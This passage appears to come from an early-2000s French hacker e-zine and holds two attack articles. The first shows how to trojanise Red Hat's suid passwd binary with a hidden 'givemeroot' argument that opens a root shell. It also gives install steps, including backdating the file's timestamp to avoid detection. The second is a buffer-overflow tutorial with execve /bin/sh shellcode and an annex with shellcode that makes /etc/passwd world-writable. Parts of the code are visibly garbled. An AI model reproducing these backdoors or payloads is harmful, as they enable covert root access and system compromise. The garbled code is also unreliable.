arranger comme par exemple faire le test d'infection avant de faire le test
sur le type de fichier, cela permet de gagner un test, supprimmer les 2 fichiers
temporaires crés la partie bash ...






[ Conclusion ]

Peut être qu'une version améliorée sera publié dans le prochain IOC magazine ;
là je n'est pas eu le temps entre les exams, fêter les vacances et la réussite
aux exams ... :)

Si vous voulez tester ces virus, vous les trouverez dans l'archive virus.zip

ATTENTION : NE TESTEZ CECI QUE SUR VOTRE PROPRE MACHINE.

Pour ceux qui veulent des explications sur le code de H3in3k3n ou participé à la
version 2, vous pouvez m'écrire à emper0r@m-net.arbornet.org.















----------------------------------------------------------------------------------------
XII. Trojanisez vos binaires Neofox
----------------------------------------------------------------------------------------



+++++++++++++++++++++++++++++++++++++++
++++ Fichier Joint : passwd.tar.gz ++++
+++++++++++++++++++++++++++++++++++++++



[ Introduction ]

Nous allons parler d'une petite méthode qui consiste à trojaniser un exécutable
de manière à y cacher une backdoor ou de manière plus générale à en détourner
le fonctionnement. Vous trouverez cî-joint dans l'archive passwd.tar.gz les
sources et le Makefile de la backdoor illustrant cet article. Je vous livre cet
outil dans un but purement informatif comme on dit.






++++ | Partie 1 : Jouez avec vos codes source ! | ++++

=> Explications
=> En pratique




1. The pourquoi of the comment :
________________________________



[ Le Principe ]

UNIX, et donc Linux, est par définition "OpenSource" ; outre le fait que ce terme
fera très bon effet dans une conversation, une conséquence directe sera que vous
trouverez tous les codes sources de votre système dans votre distribution.
Le principe est relativement simple : vous choisissez un exécutable, suid de pré-
férence, puis vous recherchez dans votre distrib le package correspondant. Ouvrez
le et commençez à étudier les sources. En fonction de l'allure générale, regardez
s'il est possible de rajouter quelques lignes de code supplémentaires, en vue de
faire exécuter une action prédéfinie au futur programme, si ce dernier est appelé
d'une certaine façon. Modifiez donc le code puis recompilez en tenant compte du
Makefile ; si tout s'est bien passé, vous avez à présent le même exécutable qu'au
début, si ce n'est qu'il peut désormais exécuter une commande spéciale sur votre
ordre. Je dois avouer que c'est un peu confus ; nous allons éclaircir tout ça.



[ Et la lumière fut ! quoi que ... ]

Imaginez un exécutable qui, appelé avec un certain argument, retourne un shell
avec uid/gid 0 ; le programme original doit donc appartenir au root et être suid
justement pour pouvoir exécuter des commandes de niveau root, mais tout dépend de
ce qu'on attend de lui. Ce ne sera ni plus ni moins qu'une backdoor, à ceci près
que la nôtre, bien que très simple de conception, passera inaperçue puisqu'elle
sera insérée dans un utilitaire déja existant. Il faut quand même opposer à cela
une certaine réserve : je dis "passera inaperçue", mais cela n'est vrai que si la
machine à laquelle est destiné le futur programme, ne fait tourner ni tripwire ni
aucun vérificateur d'intégrité. Par ailleurs, le fonctionnement du programme de
départ ne devra pas en être altéré. C'est le principe même des rootkits que de
remplaçer un binaire tel que ps ou netstat, histoire de cacher un port et/ou un
processus ; vous pouvez tout aussi bien faire en sorte que le programme trojanisé
vous retourne un shell. En fait, de nombreuses possibilités s'offrent à nous avec
cette manière de procéder. Cependant, travailler dans cette voie peut paraître
inutile, pour des raisons que nous évoquerons un peu plus loin, mais je m'amuse
à ça juste pour le plaisir. Trève de discours, passons à la pratique.






2. En pratique :
________________



Ma distrib Redhat par exemple se compose entre autres de 4 CD : les deux premiers
contiennent les binaires du système, le troisième contient de la doc et le dernier
les sources des binaires en question. Si ce n'est déja fait, allez donc jeter un
oeil à votre distrib.

[fox@localhost fox]$ mount /mnt/cdrom
[fox@localhost fox]$ cd /mnt/cdrom
[fox@localhost cdrom]$ cd SRPMS
[fox@localhost SRPMS]$ ls -al

...
-rw-r--r-- 1 root root 12345 aoû 31 2000 openssl-0.9.src.rpm
-rw-r--r-- 1 root root 34567 aoû 31 2000 pam-0.72-26.src.rpm
-rw-r--r-- 1 root root 54321 aoû 31 2000 passwd-0.64.1-4.src.rpm
-rw-r--r-- 1 root root 22334 aoû 31 2000 pcutils-0.2.1-8.src.rpm
...

[fox@localhost SRPMS]$

Bien, nous allons regarder ce que contient le package "passwd-0.64.1-4.src.rpm".

[fox@localhost SRPMS]$ cp passwd* /tmp
[fox@localhost SRPMS]$ cd /tmp
[fox@localhost /tmp]$ umount /mnt/cdrom
[fox@localhost /tmp]$ rpm -i passwd-0.64*.src.rpm
[fox@localhost /tmp]$ cd /usr/src/redhat/SOURCES
[fox@localhost SOURCES]$ ls -ldg passwd*
[fox@localhost SOURCES]$
drwxrwxrwx 2 fox fox 4096 aoû 31 2000 passwd-0.64.1
[fox@localhost SOURCES]$ cd passwd*
[fox@localhost passwd-0.64.1]$ ls
Changelog chfn.1 chsh.1 passwd.1 passwd.pamd pwdb.c pwdstat.c version.h
Makefile chfn.c chsh.c passwd.c passwd.spec pwdb.h version.c
[fox@localhost passwd-0.64.1]$


Intéressant ... en fait, comme on pouvait s'y attendre, cette archive contenait
les sources de l'exécutable "/usr/bin/passwd" ( servant à changer le mot de passe
d'un compte), mais aussi les sources de deux autres utilitaires : chfn et chsh ;
le premier sert à changer les informations relatives à un compte utilisateur, et
le second sert à changer le shell attribué à ce compte.
Mais celui qui nous intéresse est bien sûr "passwd". Nous pouvons déjà commencer
à étudier le code source passwd.c et réfléchir à une manière de transformer cet
exécutable tout ce qu'il y a de plus banal, en une backdoor discrète.











++++ | Partie 2 : Trojaniser "passwd" | ++++

=> Etude et modification du source
=> Installation et démonstration
=> Quelques Remarques




Cette partie sera nettement plus longue que la précédente, aussi je me demande
pourquoi avoir organisé l'article de cette manière ; enfin, ayant la flème de
tout reprendre, je vous invite à fermer les yeux sur ce très léger détail et à
poursuivre votre lecture.



1. Etude et modification du source :
____________________________________


Nous allons examiner le code petit à petit :

[fox@localhost passwd-0.64.1]$ more passwd.c

#include <stdio.h> /* No ?! */
#include <stdlib.h>
...
#include "pwdb.h"

On voit que le gars de chez Redhat a crée son petit header perso pour se
simplifier la vie ; il faudra en tenir compte, nous verrons ça plus loin.
Suivent plusieurs séries de #define, après quoi, le code va commencer à se
compliquer ;@). Il n'est pas nécessaire de comprendre tout le code je vous
rassure, mais il faut néanmoins saisir le sens général de chaque fonction ;
le source est suffisamment clair et bien anoté, donc pas de panique.

On tombe sur une première sous-fonction relativement courte, mais qui
n'as pas l'air très sympathique, ni exploitable d'ailleurs ; on passe.
Nous arrivons ensuite à la fonction qui vas nous occuper un moment :



void parse_args(int argc, char *argv[])



Le nom est assez évocateur ; à la première lecture, j'ai pensé qu'il
s'agissait d'une fonction servant à gérer les arguments passés au
programme sur la ligne de commande ; le main() me donnera raison par
la suite. C'est donc cette fonction que nous allons bidouiller.
On continue notre lecture de cette dernière, et on arrive ici :



/* now, only root can specify an username */
username = NULL;
if(extraArgs && etraArgs[0]){
if(getuid()){
/* non root */
fprintf(stderr, "%s: Only root can specify a username\n",
progname);
exit(-3);
} else {
username = extraArgs[0];
/* test the username for length */
if (strlen(username) > MAX_USERNAMESIZE){
fprintf(stderr, "%s: The username supplied is to long\n",
progname);
ext(-3);
}
}

/* ... */

}


C'est cette partie précisemment qui nous intéresse.
Peut- être avez vous déjà saisi le code, sinon voici quelques explications.
Généralement, un programme est appelé ainsi :


fox$ ./prog argument1 arguement2

argv[0] argv[1] argv[2]


argv[] est donc un tableau de pointeurs, lesquels pointent comme leur nom l'indique
vers des données de type char, qui sont ici les arguments passés en ligne de commande.
Mais dans notre exemple, nous avons un tablau nommé extraArgs[];
Ce tableau contient lui aussi les arguments passés en ligne de commande, mais de la
manière suivante :

argv[0] = argv[0] /* = progname */
argv[1] = extraArgs[0]
argv[2] = extra Args[1]


Pour comprendre pourquoi, il nous faut connaître la syntaxe de "passwd".



Je suppose que vous savez déjà comment fonctionne "passwd", mais on va
quand même préciser, au cas où :

[fox@localhost fox]$ whoami
fox
[fox@localhost fox]$ passwd
Changing password for fox
(current) UNIX password:
New UNIXpassword :
Retype new UNIX password:
passwd: all authentication tokens updates successfully
[fox@localhost fox]$ passwd toto
passwd: Only root can specify a username
[fox@localhost fox]$


En tant que simple utilisateur "fox", on ne peut que changer son mot
de passe personnel, donc on ne peut pas appeler "passwd" avec argument.


Ainis, si l'utilisateur n'est pas root, il faut s'assurer qu'il n'entre aucun
argument, c'est à dire que extraArgv[0] soit null.

Si uid!=0 et "extraArgs[0] != 0" cela signifie que l'utilisateur n'est pas
root et a quand même spécifié un argument, donc message d'erreur et sortie du
programme. Ce qui donne :


if(extraArgs && extraArgs[0]){
/* si un argument */
if(getuid()){
/* et si pas root */
fprintf(stderr, "%s: Only root can specify a username\n",
progname);
/* sortie */
exit(-3);

}


C'est à ce moment là que nous allons intervenir !



[ Quel code insérer ? ]

Le binaire /usr/bin/passwd est suid, donc on peut lui faire exécuter nos commandes
avec les droits du root. On va faire en sorte que si "passwd" est appelé avec un
certain argument, il nous donne uid/gid=0 et exécute un shell. Problème : seul le
root peut spécifier un argument ... ben va falloir remodeler tout ça !
Je vous propose ceci :


#define MAGIC_STRING "givemeroot"

char *shell[2];
...


/* si un argument */
if (extraArgs && extraArgs[0]) {

/* et si pas root */
if (getuid()) {

/* et si l'argument est "givemeroot" */
if(strstr(argv[1],MAGIC_STRING)!=NULL){

/* alors retourne un shell */
shell[0]="/bin/sh";
shell[1]=NULL;
setuid(0);
setgid(0);
execve(shell[0],shell,NULL);

} else {

/* sinon, l'argument n'est pas "givemeroot". En tant qu'user */
/* aucun argument n'est autorisé : sortie du programe */
fprintf(stderr, "%s: Only root can specify a username\n",
progname);
exit(0);
}
}


Voilà, c'était tout bête, mais ça va s'avérer très efficace par la
suite. On doit donc recompiler à présent, de manière à obtenir notre
nouvel exécutable. Pour cela, il nous faut tenir compte du Makefile, et
même créer notre propre Makefile.




[ Le Makefile ]

Pour que notre outil fonctionne, il faut ajouter lors de la compilation le fichier
pwdb.c. Ce dernier contient toute une série de fonctions utilisées par "passwd" pour
la gestion des passwords : on trouve entre autres, les fonctions lock_passwd,
unlock_passwd et delete_entry, pour vérouiller/dévérouiller un compte et supprimer
une entrée. Nous devrons inclure ce fichier à notre future archive. Comme je le
précisais un peu plus haut, il faut également inclure le header pwdb.h.
Nous allons réécrire le Makefile correspondant à nos besoins :


[fox@localhost passwd-0.64.1]$ cat << EOF > Newmakefile

CC = gcc
LDFLAGS = -ldl -lpam -lpam_misc -lpwdb
POPT = -lpopt
PROJECT = passwd

passwd: passwd.o pwdb.o
$(CC) $(LDFLAGS) -o $@ $^ $(POPT)

EOF
[fox@localhost passwd-0.64.1]$

J'ai repris les options tel qu'elles figuraient dans le Makefile original, sans trop
savoir d'ailleurs avec précison la signification de chacune. Bien, nous allons donc
créer une nouvelle archive contenant les sources modifiées de notre outil.

Nous devons y inclure : o Le Makefile
o Le header pwdb.h
o Le source pwdb.c indispensable
o Le source principal passwd.c


[fox@localhost passwd-0.64.1]$ mkdir /home/fox/passwd
[fox@localhost passwd-0.64.1]$ mv Newmakefile /home/fox/passwd/Makefile
[fox@localhost passwd-0.64.1]$ cp passwd.c /home/fox/passwd
[fox@localhost passwd-0.64.1]$ cp pwdb.c /home/fox/passwd
[fox@localhost passwd-0.64.1]$ cp pwdb.h /home/fox/passwd
[fox@localhost passwd-0.64.1]$ cd
[fox@localhost fox]$ cd passwd
[fox@localhost passwd]$ ls
Makefile passwd.c pwdb.c pwdb.h
[fox@localhost passwd]$ cd ../
[fox@localhost fox]$ pwd
/home/fox
[fox@localhost fox]$ ls passwd
passwd
[fox@localhost fox]$ tar -c passwd > passwd.tar
[fox@localhost fox]$ gzip passwd.tar
[fox@localhost fox]$ ls passwd*
passwd passwd.tar.gz
[fox@localhost fox]$


Et voilà notre nouvelle archive fin prête. Nous allons l'installer et
faire une petite démonstration.








2. Installation et Démonstration :
__________________________________


[ Attention ]

Une fois le nouveau "passwd" compilé, vous devrez l'installer à la place de l'original.
Pensez à garder une copie du vrai binaire quelque part. Remplacer un binaire est tout
à fait possible et passera inaperçu sur un système ne faisant tourner aucun vérificateur
d'intégrité tel que tripwire. Rapellez vous de n'installer et de n'utiliser cet outil
que sur votre machine ou sur une machine où vous êtes autorisés à le faire.



[ Installation ]

Nous supposerons que vous ayez un accès root sur la machine "test", cette dernière
étant une redhat ne faisant pas trourner tripwire. Nous supposerons également que
vous venez de downloader l'archive passwd.tar.gz qui se trouve maintenant
dans /home/user/...



[user@test ~/user]$ whoami
user
[user@test ~/user]$ cd ...
[user@test ...]$ ./votre_shell_suid
bash# whoami
root
bash# ls passwd*
passwd.tar.gz
bash# gzip -cd passwd.tar.gz | tar xvf -
passwd/Makefile
passwd/passwd.c
passwd/pwdb.c
passwd/pwdb.h
bash# ls passwd*
passwd passwd.tar.gz
bash# cd passwd
bash# ls
Makefile passwd.c pwdb.c pwdb.h
bash#

Bien, compilons et installons ...

bash# make

gcc -c -o passwd.o passwd.c
gcc -c -o pwdb.o pwdb.c
gcc -ldl -lpan -lpam_misc -lpwdb -o passwd passwd.o pwdb.o -lpopt

bash# ls
Makefile passwd passwd.c passwd.o pwdb.c pwdb.h pwdb.o
bash# which passwd
/usr/bin/passwd
bash# ls -al /usr/bin/passwd
-r-s--x--x 1 root root 12536 jui 12 2000 /usr/bin/passwd
bash# chmod 4511 passwd
bash# cp /usr/bin/passwd old_passwd
bash# ls
Makefile old_passwd passwd passwd.c passwd.o pwdb.c pwdb.h pwdb.o
bash# rm /usr/bin/passwd
bash# cp passwd /usr/bin
bash# ls -al /usr/bin/passwd
-r-s--x--x 1 root root 12641 jun 04 2002 /usr/bin/passwd
bash# touch -t 200007121111 /usr/bin/passwd
bash# ls -al /usr/bin/passwd
-r-s--x--x 1 root root 12641 jui 12 2000 /usr/bin/passwd
bash#




Bien, regardons si passwd fonctionne toujours comme il devrait :


[root@test passwd]# exit
[user@test ...]$ cd
[user@test ~/user]$
[user@test ~/user]$ which passwd
/usr/bin/passwd
[user@test ~/user]$ passwd
Changing password for user
(current) UNIX password:
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updates successfully
[user@test ~/user]$


Le nouvel outil "passwd" fonctionne comme l'original.
Testons à présent la backdoor :


[user@test ~/user]$ whoami
user
[user@test ~/user]$ passwd toto
passwd: Only root can specify a username
[user@test ~/user]$ passwd givemeroot
sh-2.04# whoami
root
sh-2.04#



Et voilà notre petite backdoor basique, bien planquée dans un
exécutable hors de tout soupçon !





3. Quelques Remarques :
_______________________


o Je ne le répéterai jamais assez, ceci n'est utilisable qu'en l'absence de
vérificateur d'intégrité, sinon, non ! voilà, c'est clair ! Admins, faites
donc régulièrement appel à tripwire via cron !

o Les sources originales sont celles d'une redhat, et par conséquent,
vous ne pourrez utiliser cette backdoor que sur une redhat. Cet outil
a été testé avec succès sur ma 7.0 ainsi que sur une 6.1. Il semblerait
donc qu'il fonctionne indépendament de la version ; toutefois, si vous
notez un problème avec votre distrib, tenez moi au courant en précisant
de quelle version il s'agit.





[ Conclusion ]

Je vous encourage à jeter de temps en temps un coup d'oeil à vos sources,
ne serait-ce que par plaisir de lire du code, et tant qu'a faire,
de le comprendre =).














---------------------------------------------------------------------------------------
XIII. Buffer Overflow & Shellcodes x86 Howto Li0n7
---------------------------------------------------------------------------------------


[ Sommaire ]

Dépassement de tampon
|-> Processus et fonctions
|-> La pile structure et comportement

Shellcode
|-> Les registres
|-> Les instructions
|-> Programmation de shellcodes
|-> hello.S
|-> bin.S
|-> cshell.c
|-> the_last_one.c

ANNEXE : Shellcodes par Neofox








[ Introduction ]

Chaque semaine, des failles de sécurités sont découvertes dans certains programmes,
qu'ils soient répandues ou non. Elles résultent toujours d'une erreur de programmation
anodine dont les conséquences sont souvent désastreuses et irréversibles pour les
serveurs proposant des services quelconques cachés dérrière les dit-programmes.
Ces failles se limitent dans la majorité des cas à des buffer overflows de tout type,
mais qu'en est-il vraiment? Analyse d'une attaque dynamique locale ou distante
sophistiquée et portable, toute architecture, plus qu'à a mode.



++++ | Partie 1 : Dépassement de tampon | ++++

=> Processus et fonctions
=> La pile : strucutre et comportement



I. Processus et fonctions :
___________________________


Pour comprendre les dépassements de tampon, il faut connaitre le fonction d'un
ordinateur au niveau de la gestion des processus et de l'allocation dynamique de
la mémoire.Toute machine fait appel à des processus, qui gérent les entrées/sorties
(i/o), lesquels font périodiquement appels à des fonctions. Lors de l'appel d'un
processus, l'OS va lui allouer de la mémoire, initialisée par le code de la première
fonction à être éxécutée. Familières aux programmeurs, elle est appelée point d'entrée,
parce qu'elle début tout processus, ou plus généralement main.

ex:
En C: void main(void) {}
En ASM: .gobl main
main:


Il est important de savoir que les fonction s'enchainent en appelant sans-cesse
d'autres sous fonctions. Une fonction doit donc pouvoir stocker ses propres données,
et c'est alors qu'intervient la pile (stack), qui n'est autre qu'un portion de mémoire
allouée par le CPU.

Les fonctions communiquent avec la pile perpétuellement, par le biais de plusieurs
instructions:

o push $valeur - Place en haut de la pile une valeur quelconque passée en paramètre.
o pop $REGISTRE - Séléctionne le dernier élément stocké au sommet de la pile pour le
placer dans un registre passé en paramètre. I


Imaginez donc la suite lorsque la pile se trouve remplie par une variable dont
la taille est supérieure à sa mémoire totale de stockage...
Beau plantage en perspective...

+---------------+
| |
| |
| [CPU] |
| |
| |
+---------------+
|
|
|
* PROCESSUS
|
|
--*-- Fonction 1 (point d'entrée)
| |
| |
Sous fonction --*| |*-- Sous fonction 1




Nous savons donc que le processeur initialise une mémoire système à la pile avant l'appel
d'une fonction ; une fois une sous-fonction achevée, la fonction l'ayant appelé prend sa
place et continue son éxécution.

Le processeur doit donc gérer la mémoire, éxécuter certaines taches tout en gardant la
trace de l'ensemble des instructions éxécutées. Il va donc faire appel à une zone de
stockage temporaire: les registres.

Il existe une bonne douzaine de registres spécialisés dans la sauvegarde de certains
types de données à des moments critiques. Un de ces registres nous intérèsse plus
particulièrement il s'agit, du registre #eip, ou plus communément appelé le pointeur
d'instruction. Ce dernier pointe sur l'instruction en cours d'éxécution.

Si la fonction appelle une autre fonction sous jacente, alors le pointeur est
réinitialisé et pointe sur la dernière fonction en cours d'éxécution. Celle-ci
achevée, le pointeur d'instruction, doit être capable de se réinitialiser et de
repointer sur la fonction antérieure.

Toutes ces valeurs, le ptr d'instruction compris, sont stockés dans la stack.
L'attaquant essaiera donc de faire déborder le tampon pour modifier l'adresse de
l'instruction de retour.


[ Temps 1 ] - EIP pointe sur F1

EIP EIP
------------> fonction 1 <----- <------------ |Temps 3] - EIP repointe sur F1

[ Temps 2 ] - EIP pointe sur SF1 | |
| |
EIP | |
------------> |----> appel sous-fonction 1







II. La pile, structure et comportement :
________________________________________




Entrons dans le vif du sujet :
La pile est un bloc hébergeant temporairement des données en temps réèl,
elle est donc constamment manipulée et modifiée.


------8<---------------------------------------------------------------------

void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}
------8<---------------------------------------------------------------------


Dans cet exemple ( tiré du célèbre paper d'Aleph One), lors de la fonction main(),
la variable char large_string de 256 octetsva être remplie de A, puis main appelle
function qui copie large_string dans une variable type char de 16 octets appelé
buffer. Le résultat ? Une erreur de segmentation surviendra, le core sera dumpé,
le programme crashera.


+----------+
| Tampon |
| recouvre |
Attaquant remplit ---> | adresse | <--- shellcode inséré
tampon | de |
| retour | STOP
Adresse de retour ---> +----=-----+ --> +----------+
écrasée +----=-----+ | |
| = | | NULL |
| = | --> +----------+
| = |
| STACK |
| |
| |
+----------+
| Adresse |
| sauvée |
+----------+


Mais attention si le pointeur d'instruction rencontre un caractère NULL, alors la
chaine de caractère s'arrêtera sur le champ ; le payload ne sera alors pas éxécuté.
La majorité des buffer overflows se situent au niveau de fonctions comme strcpy,
lstrcy (toutes ses variantes), sprintf, strcat, lstrcat, etc ... qui ne vérifient
pas si la variable peut contenir ou nom la chaine de caractère passée en second paramètre.

Une fois la pile écrasée, l'adresse de retour est alors modifiée pour pointer sur
le shellcode que le pirate aura alors placé dans la pile. Il va donc prendre le
contrôle du processeur en codant un payload tout en shellcode, au préalable codé en
assembleur, puis en l'éxécutant sur le système attaqué.

Le payload se logeant avec les autres données dans la pile, il faut que le pointeur
d'instruction pointe sur le début du code : une erreur d'estimation serait fatale pour
l'assaillant.





++++ | Partie II : Les Shellcodes | ++++


Dans le cadre d'un buffer overflow, nous allons essayer de passer des instructions
à notre processeur victime, dans le but d'exploiter cette faille à des fins personnelles.
Les possibilités sont multiples : virus, backdoors, spwaning de shell ... Laissez libre
cours à votre imagination.




I. Les registres :
__________________


Il existe un grand nombre de registres, dont voici une liste:

EAX: accumulateur
EBX: adresse de base
ECX: compteur
EDX: données
EDI: index destination
ESI: index source
EIP: pointeur d'instruction
ESP: pointeur de pile
EBP: pointeur de base de la pile
EFL: indicateur



II. Les instructions :
______________________

De nombreuses instructions vont être nécéssaires pour mettre en oeuvre le payload en
shellcode. En voici quelques-unes :

mov: Déplace une quelconque valeur dans un registre
leal: Charge une adresse mémoire dans un registre
push: Place en haut de la pile une valeur quelconque passée en paramètre.
pop: Séléctionne le dernier élément stocké au sommet de la pile pour le placer
dans un registre passé en paramètre.
ret: Jump jusqu'à l'adresse mémoire en haut du stack
call: Appel une fonction
jmp: Saute jusqu'à une fonction
cmp: Equivalent du if, permet de comparer deux valeurs
jz: Equivalent du alors jmp
xor: Ou exclusif, opération sur les bits.
dev: Décrémente (i--;)
inc: Incrémente (i++;)




III. Programmation de shellcodes :
__________________________________


Donc, nous allons commencer par un petit hello world, je trouve ça vraiment
banal, mais bon, il faut vien commencer par quelque chose de facile ...
En C, rien de plus simple:

----8<--------------------------
#include <stdio.h>
#include <string.h>

int main(void){
char mes[256]="H3110 w0r1:)!\n";
write(1, mes, sizeof(mes)); /* utilisation de write pour écrire dans le fd */
return 0;
}
----8<----------------------------


La fonction write se présente donc ainsi:

write(int fd, char *mes, size_t size)

Avec, fd: le file descriptor, mes: le message, et size: la taille de notre message.



----8<---------hello.S-------------------------------------------------------
.data
mes:
.string "H3110 w0r1:)!\n" //Le message
meslen:
.equ len, meslen - mes // La taille du message

.global main
main: // La fonction main
movl $0x4, %eax // numéro d'appel système 4
movl $0x1, %ebx // File descriptor = 1 = stdout
movl $mes, %ecx // le message dans %ecx
movl $meslen, %edx // La taille du mes dans %edx
int $0x80 // Interruption dans le kernel et on appel la fonction write
xorl %eax, %eax // %eax=0
andl %ebx, %eax // %ebx=0
incl %eax // %eax=1
int $0x80 // On appel la fonction quitter

----8<-----------------------------------------------------------------------


On compile le tout et on éxécute:

$ g++ hello hello.S
$ ./hello
H3110 w0r1:)!
$

Notre but principal sera donc, de spawner un shell pour acquérir le root ; notez que
ce shellcode ne pourra être utilisé que dans le cadre d'un exploit local. Les remote
exploits seront étudiés prochainement. Donc nous allons éxécuter un shell, pourquoi pas
/bin/sh? On va se setreuid(0,0) au cas où ; de toute façon ce ne peut que être bénéfique
du point de vue apprentissage de ce langage d'assemblage. Il est vrai que l'assembleur
peut paraître difficile à l'oeil non-averti, mais il se limite à la manipulation de
registres primitifs.


Continuons, notre programme en C:

----8<--------------------------

#include <stdio.h>

int main(void){
char *shell[2]
streuid(0,0);
shell[0]= "/bin/sh";
shell[1]= NULL;
execve(shell[0], shell, NULL);
return 0;
}

----8<---------------------------



Lors de la fonction main, on commence par se donner un accès root, bien qu'inutile
ici vu que nous travaillons dans le cadre d'un dépassement de tampon ; les droits
sont alors abstrait, mais cela est toujours utile de savoir "se rooter" en shellcode.

On a définie un ptr sur le char shell, contenant la chaine /bin/sh, suivit d'un caractère
NULL pour le terminer. Puis, on éxécute le tout. Notez que compiler et éxécuter au format
asm tel quel, ne fonctionnera et spawnera le shell que si vous êtes déjà root.
Ce code fonctionne dans sa totalité sous forme de shellcode exploité dans un BO.

----8<----------bin.S---------------------------------------------------------

[.texte] #|-
[.globl shellcode] #|Pour le fichier cshell.c plus bas, omettre sinon
[shellcode:] #|-
jmp 0x1c # On jump to call
popl %ebx # On met l'adresse de bin/sh dans %ebx
movl %ebx,0x8(%ebx) # on stocke %ebx à %ebx+0x8
xorl %eax,%eax # %eax=0
movb %eax,0x7(%ebx) # NULL à la fin du string
movl %eax,0xc(%ebx)
movb $0xb,%al # On appel execve
leal 0x8(%ebx),%ecx # On charge %ecx avec adresse %ebx+0x8
leal 0xc(%ebx),%edx # On charge %edx avec adresse %edx+0xc
int $0x80 # On éxécute
xorl %eax,%eax
inc %al
int

  
$0x80 # On quitte
call -0xce # On met l'adresse au sommet de la pile
.string "bin/sh"

-----8<-----------------------------------------------------------------------



On compile et on éxécute:

$ g++ bin bin.S
$ ./bin
sh-x.xx$



A présent, l'heure est à la programmation en shellcode. Non on ne va pas encore
coder un shellcode en brut (ne vous inquiètez pas, je vous concocte ça pour bientôt),
mais on va plutôt tenter de se procurer le fameux shellcode à partir de notre code en
assembleur. Pour cela, écrivons un petit prog tout simple en C. Ce dernier va se
contenter d'ouvrir le fichier .S dans lequel setrouve notre code, ASM puis, à partir
des instructions ASM, il nous donne le shellcode correspondant.


Notez qu'il y a deux arguments, -t pour voir la taille du shellcode, et -s pour
sauvegarder le shellcode dans un fichier.

-----8<--------cshell.c------------------------------------------------------

#include <stdio.h>

void shellcode();
int cree_shellcode(int sf, FILE *ff, char *shellcode)
{
int i=0;
int j=0;
printf("shellcode=\n");
printf("\"");
while(shellcode[i]){
if (sf==1){
if ((fopen(ff, "
w+"))<0){
printf("
Erreur lors de la création/ouverture du fichier\n");
exit(1);
}
}
if((j%10==0) && (j!=0)){ printf("
\"\n\""); }
printf("
\\x%.2x",(shellcode[i]&0xff));
if (sf==1){ fprintf(ff,"
\\x%.2x",(shellcode[i]&0xff) ); }
i++;
j++;
}
if (sf==1){ fclose(ff); }
printf("
\" ;\n");
return 0;
}

int main(int argc, char *argv[])
{
int t=0,s1;
File *ff;
while( (argc > 1) && (argv[1][0]=='-'))
{
switch(argv[1][1])
{
case 's':
s=1;
ff=&argv[1][2];
break;
case 't':
t=1;
break;
}
--argc;
++argv;
}
cree_shellcode(s, ff, (char *)shellcode);
if (t==1){ printf("-> taille_shellcode: %d <-\n",strlen((char *)shellcode));}
return 0;
}

-----8<----------------------------------------------------------------------


On compile le tout, après avoir stocké notre asm code dans un fichier .S:

$ gcc cshell cshell.s fichier.S // le fichier.S contient le code asm dans sa totalité


On éxécute alors notre cshell pour avoir notre shellcode à partir du code asm, c'est parti!

Remarques: o l'argument -s permet de sauvegarder le shellcode dans un fichier
o l'argument -t permet de calculer la taille en octets de notre shellcode

$ ./cshell -t

shellcode="
\xeb\x1c\x5b\x89\x5b\x08\x31\xc0\x88\x43
\x07\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d
\x53\x0c\xcd\x80\x32\xc0\xe8\xce\xff\xff
\xff/bin/sh"

-> taille_shellcode: xx octets <-


Je n'ai pas calculé la taille, car le shellcode a été fait main, pour la connaitre
éxécutez cshell. Il ne nous reste plus qu'à exploiter ce shellcoder au travers d'un
dépassement de tampon pour spawner ce fameux /bin/sh en root.

----8<----------the_last_one.c------------------------------------------------

void function(char *str) {
char shellcode[46]=
"\xeb\x1c\x5b\x89\x5b\x08\x31\xc0\x88\x43"
"\x07\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d"
"\x53\x0c\xcd\x80\x32\xc0\xe8\xce\xff\xff"
"\xff/bin/sh"

strcpy(str,shellcode);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}

----8<-----------------------------------------------------------------------


Et voila, ce petit code mettant en relief une faille type dépassement de tampon au
niveau de la fonction strcpy, va copier à la suite d'une chaine string (remplie de "A"),
notre shellcode qui va être passé au processeur, pour enfin lancer le shell en root.

Gotcha! Nous avons donc vu les bases de la maitrise du buffer overflow, actuellement
une notion plus que fondamental. Les shellcodes étudiés sont tous simples, encore,
je vous conseille vivement d'aller lire le texte de smiler sur l'art d'écrire des
shellcodes (disponible sur ouah) ; il aborde rapidement quelques types optimisés,
comme les types anti-IDS ( qui passent à travers les systèmes de filtrage en remote)
ou encore les remote shellcodes bindant un port. La prochaine fois, j'essaierai de
vous présenter d'autres types de shellcodes plus avancés (polymorphic style for e.g).

Bon, pas de conclusion banale du style "j'espère vous avoir appris quelque chose",
mais plutôt un souhait pour une bonne continuation, et arrêtez par pitié de passer
le plus clair de votre temps à vitupérer une éthiques puérils quelque qu'elle soit ...
Ce n'est là que perte de temps inutile.






ANNEXE : Shellcodes par Neofox
______________________________


J'ai decouvert, il y a peu, le monde merveilleux de la prog Assembleur, et dans la
foulée, celui de l'écriture de shellcodes. Peut-être servieront-ils à quelqu'un,
ou peut-être que non, ça n'a pas grande importance. Ca ne va pas non plus révolutionner
la scène, mais je vous les donne quand même à tout hasard, avec le code asm correspondant.
Pour désassembler, je me suis servi de 'objdump' => "% objdump -d file", ça change de gdb.




/* chmod shellcode 53bytes long
*
* Shellcode fort symathique qui fait appel à
* setreuid() puis mets /etc/passwd au mode 666.
*
*/

char shellcode2[]=

"\x31\xdb" /* xor %ebx,%ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\xb0\x46" /* mov $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x66\xb9\xb6\x01" /* mov $0x1b6,%cx */
"\x51" /* push %ecx */
"\x89\xe5" /* mov %esp,%ebp */
"\x50" /* push %eax */
"\x68\x73\x73\x77\x64" /* push $0x64777373 */
"\x68\x2f\x2f\x70\x61" /* push $0x61702f2f */
"\x68\x2f\x65\x74\x63" /* push $0x6374652f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x31\xd2" /* xor %edx,%edx */
"\x55" /* push %ebp */
"\x53" /* push %ebx */
"\xb0\x0f" /* mov $0xf,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x89\xc3" /* mov %eax,%ebx */
